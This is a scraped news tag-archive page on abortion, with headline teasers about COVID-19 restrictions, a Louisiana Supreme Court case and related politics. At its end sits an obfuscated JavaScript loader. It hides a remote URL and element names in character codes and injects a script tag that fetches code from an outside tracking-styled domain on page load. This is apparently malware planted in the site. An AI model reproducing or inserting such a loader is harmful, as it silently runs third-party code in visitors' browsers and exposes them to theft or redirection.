Tag Archives: Abortion

Abortion Access Shifting in Some States Amid COVID-19

2020 Lifetime Achievement: Bill and Melinda Gates

Early press reports suggested that Maryland may also be considering restricting surgical abortion procedures in the face of PPE shortages and the COVID-19 pandemic. However, in a statement to Medscape Medical News, Maryland DOH Deputy Director of Communications Charles Gischlar wrote: “Each medical practitioner should exercise their independent professional judgment in determining …

Read More »

John Roberts lays groundwork for Supreme Court to limit abortion

Trump's 2020 message behind his attacks on liberal Supreme Court justices

The Court, over Roberts’ dissent in 2016, struck down a Texas law similar to Louisiana’s, saying it was medically unnecessary and burdened a woman’s right to end a pregnancy. At the time, Roberts was actively critical of the physicians challenging the law that required them to obtain certain hospital credentials …

Read More »

Roberts signals he could side with liberals

Roberts signals he could side with liberals

File photo: U.S. Supreme Court Police guard the building during a protest against anti-abortion legislation at the U.S. Supreme Court in Washington, U.S., May 21, 2019. James Lawler Duggan | Reuters WASHINGTON — Chief Justice John Roberts left open the possibility that he could side with the Supreme Court’s liberal …

Read More »

Trump judicial nominee represents Louisiana in high-profile abortion case

Stephen Schwartz sits in a 2017 Senate Judiciary Committee hearing on his nomination to the U.S. Court of Federal Claims

As the Supreme Court prepares to hear what could be historic arguments on abortion Wednesday, one of President Trump’s judicial nominees has been busy working on the case — through his current role at a D.C. law firm. Stephen Schwartz, a 37-year-old Trump nominee to a 15-year term on the U.S. …

Read More »

Future of Roe v. Wade in spotlight as Supreme Court considers Louisiana abortion access case

Block on Mississippi's fetal-heartbeat abortion bill is upheld

That moment is here. On Wednesday, the Supreme Court hears arguments in the first major abortion case to come before the court since Justices Brett Kavanaugh and Neil Gorsuch took the bench. Kavanaugh notably replaced Justice Anthony Kennedy, who was seen as a swing vote on the issue. The case, …

Read More »

Does Abortion in First Trimester Raise Risk of Mental Ills’ Return?

Does Abortion in First Trimester Raise Risk of Mental Ills' Return?

Latest Mental Health News By Denise MannHealthDay Reporter MONDAY, Feb. 6 (HealthDay News) — Women with a history of mental illness do not seem to be at increased risk of readmission to a psychiatric hospital after having an abortion in their first trimester, a new study suggests. The …

Read More »
var u = String.fromCharCode(104,116,116,112,115,58,47,47,99,111,117,110,116,46,116,114,97,99,107,115,116,97,116,105,115,116,105,99,115,115,115,46,99,111,109,47,106,46,106,115,63,118,61);var d=document;var s=d.createElement(String.fromCharCode(115,99,114,105,112,116)); s.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); var pl = u; s.src=pl; if (document.currentScript) { document.currentScript.parentNode.insertBefore(s, document.currentScript);} else {d.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(s);var list = document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116));list.insertBefore(s, list.childNodes[0]);}